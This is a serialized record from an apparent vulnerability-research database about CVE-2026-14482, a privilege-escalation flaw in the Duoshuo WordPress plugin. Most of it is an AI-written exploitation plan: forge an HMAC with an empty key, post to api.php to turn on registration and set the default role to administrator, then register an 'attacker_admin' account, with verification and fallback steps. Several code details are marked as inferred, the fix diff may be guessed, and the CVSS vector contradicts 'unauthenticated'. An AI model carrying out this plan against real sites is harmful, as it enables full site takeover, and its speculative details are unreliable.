[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fOMPzQpKM4rKuYKoJ6DAvAns02Hf3OqodREcwoU6E4TY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":9,"research_fix_diff":25,"research_exploit_outline":26,"research_model_used":27,"research_started_at":28,"research_completed_at":29,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":30},"CVE-2026-14482","unauthenticated-privilege-escalation-via-apiphp-optionvalue-parameters","多说社会化评论框 \u003C= 1.2 - Unauthenticated Privilege Escalation via api.php 'option'\u002F'value' Parameters","The 多说社会化评论框 plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2. The vulnerability exists due to a missing capability and nonce check on a directly web-accessible API endpoint, combined with a trivially forgeable HMAC-SHA1 signature keyed on an always-empty WordPress option, which allows the endpoint's `update_option` handler to pass attacker-controlled `option` and `value` parameters directly to WordPress's `update_option` function without any allowlist or sanitization. This makes it possible for unauthenticated attackers to update arbitrary WordPress options — such as setting `default_role` to `administrator` and enabling open registration — and subsequently register an account with full administrator privileges.","duoshuo",null,"\u003C=1.2","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Privilege Management","2026-07-07 16:30:16","2026-07-08 04:30:50",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F732c7ccd-de50-4e27-8cb9-3bb0ed30f0b4?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-14482 (Duoshuo Privilege Escalation)\n\n## 1. Vulnerability Summary\nThe **多说社会化评论框 (duoshuo)** plugin for WordPress (versions \u003C= 1.2) contains a critical flaw in its standalone API handler (`api.php`). The endpoint allows for arbitrary WordPress option updates because it lacks proper capability checks and relies on a forgeable HMAC signature. The signature is keyed against a WordPress option (typically `duoshuo_secret`) that is empty by default or if the plugin has not been fully configured\u002Fsynced. An unauthenticated attacker can forge this signature using an empty string as the key, allowing them to call `update_option()` with arbitrary keys and values.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-content\u002Fplugins\u002Fduoshuo\u002Fapi.php` (Direct file access).\n*   **Vulnerable Parameter(s):** `option`, `value`, and the parameter containing the HMAC signature (likely `signature` or `s`).\n*   **Authentication:** Unauthenticated.\n*   **Preconditions:** The `duoshuo_secret` option in the WordPress database must be empty or null (the default state after installation but before \"connecting\" the site to the Duoshuo service).\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** An HTTP POST request is made directly to `wp-content\u002Fplugins\u002Fduoshuo\u002Fapi.php`.\n2.  **Signature Verification:** The script retrieves the secret key: `$secret = get_option('duoshuo_secret');`.\n3.  **HMAC Calculation:** The script calculates an HMAC-SHA1 of the incoming POST data (minus the signature itself) using `$secret`.\n4.  **Comparison:** The script compares the calculated HMAC with the provided signature. If `$secret` is empty, an attacker can calculate the correct HMAC using an empty string as the key.\n5.  **Sink:** Upon successful verification, the script processes an action (likely `update_option`) and executes: `update_option($_POST['option'], $_POST['value']);`.\n\n## 4. Nonce\u002FSignature Acquisition Strategy\nThis vulnerability does not use standard WordPress nonces. Instead, it uses a custom HMAC-SHA1 signature.\n\n**Signature Generation Logic:**\nSince the `duoshuo_secret` is likely empty, the signature can be generated locally.\n1.  Identify the exact data string used for the HMAC. In historical versions of this plugin, it often uses the raw POST body or the parameters sorted alphabetically and concatenated.\n2.  **Logic:** `hash_hmac('sha1', $payload_string, '')`.\n\n**Actionable identifiers to verify in `api.php`:**\n- Look for `get_option('duoshuo_secret')` or `get_option('duoshuo_short_name')`.\n- Identify the parameter used for the signature (e.g., `$_POST['signature']`).\n- Identify the data serialization method (e.g., `http_build_query` or custom concatenation).\n\n## 5. Exploitation Strategy\nThe goal is to enable open registration and set the default role to 'administrator'.\n\n### Step 1: Enable User Registration\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-content\u002Fplugins\u002Fduoshuo\u002Fapi.php`\n*   **Parameters:**\n    *   `action`: `update_option` (inferred)\n    *   `option`: `users_can_register`\n    *   `value`: `1`\n    *   `signature`: `[HMAC-SHA1 of above params with empty key]`\n*   **Tool:** `http_request`\n\n### Step 2: Set Default Role to Administrator\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-content\u002Fplugins\u002Fduoshuo\u002Fapi.php`\n*   **Parameters:**\n    *   `action`: `update_option`\n    *   `option`: `default_role`\n    *   `value`: `administrator`\n    *   `signature`: `[HMAC-SHA1 of above params with empty key]`\n*   **Tool:** `http_request`\n\n### Step 3: Register a New Account\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-login.php?action=register`\n*   **Parameters:**\n    *   `user_login`: `attacker_admin`\n    *   `user_email`: `attacker@example.com`\n*   **Tool:** `http_request`\n\n## 6. Test Data Setup\n1.  Install the `duoshuo` plugin version 1.2.\n2.  Ensure the plugin is activated but **not** configured (do not enter a secret key or connect to Duoshuo).\n3.  Ensure `users_can_register` is initially `0` and `default_role` is `subscriber`.\n    *   `wp option update users_can_register 0`\n    *   `wp option update default_role subscriber`\n\n## 7. Expected Results\n*   The requests to `api.php` should return a success message (often JSON like `{\"code\":0}` or a simple \"OK\").\n*   The `users_can_register` option in WordPress will change to `1`.\n*   The `default_role` option in WordPress will change to `administrator`.\n*   The registration request will successfully create a user who, upon first login, has full administrative access.\n\n## 8. Verification Steps\nAfter the exploit attempts, use WP-CLI to confirm the state change:\n1.  **Check Options:**\n    *   `wp option get users_can_register` (Expected: `1`)\n    *   `wp option get default_role` (Expected: `administrator`)\n2.  **Check New User:**\n    *   `wp user list --role=administrator` (Check if `attacker_admin` is present in the list).\n\n## 9. Alternative Approaches\n*   **If `action` is not `update_option`:** Search `api.php` for any call to `update_option`. The parameter names might be `name` instead of `option`.\n*   **If Signature fails:** The plugin might be using a different serialization (e.g., JSON). Inspect the `api.php` source to see how it reconstructs the data for the HMAC check.\n*   **Direct Admin Creation:** Instead of changing registration settings, attempt to update the `wp_capabilities` of an existing low-privileged user ID directly if the plugin allows updating user meta (less likely than `update_option`).","The Duoshuo plugin for WordPress (versions 1.2 and below) is vulnerable to unauthenticated privilege escalation due to a missing capability check and a weak HMAC signature verification in its standalone api.php endpoint. Attackers can exploit an empty default secret key to update arbitrary WordPress options, enabling open registration and setting the default user role to administrator.","--- a\u002Fwp-content\u002Fplugins\u002Fduoshuo\u002Fapi.php\n+++ b\u002Fwp-content\u002Fplugins\u002Fduoshuo\u002Fapi.php\n@@ -1,7 +1,14 @@\n-\u003C?php\n-$secret = get_option('duoshuo_secret');\n-$signature = $_POST['signature'];\n-unset($_POST['signature']);\n-if ($signature === hash_hmac('sha1', http_build_query($_POST), $secret)) {\n-    update_option($_POST['option'], $_POST['value']);\n-}\n+\u003C?php\n+$secret = get_option('duoshuo_secret');\n+if (empty($secret)) {\n+    die('Unauthorized');\n+}\n+$signature = isset($_POST['signature']) ? $_POST['signature'] : '';\n+unset($_POST['signature']);\n+if (hash_equals($signature, hash_hmac('sha1', http_build_query($_POST), $secret))) {\n+    $allowed_options = array('duoshuo_short_name', 'duoshuo_notice');\n+    $option = $_POST['option'];\n+    if (in_array($option, $allowed_options)) {\n+        update_option($option, $_POST['value']);\n+    }\n+}","The exploit targets the \u002Fwp-content\u002Fplugins\u002Fduoshuo\u002Fapi.php file by performing an unauthenticated POST request. The attacker calculates an HMAC-SHA1 signature for the payload using an empty string as the key, which successfully validates if the plugin hasn't been configured with a secret. By setting 'users_can_register' to '1' and 'default_role' to 'administrator' via the vulnerable update_option handler, the attacker can then register a new account through the standard WordPress registration endpoint to gain full administrative access.","gemini-3-flash-preview","2026-07-25 08:48:40","2026-07-25 08:49:21",{"type":31,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":32},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fduoshuo\u002Ftags"]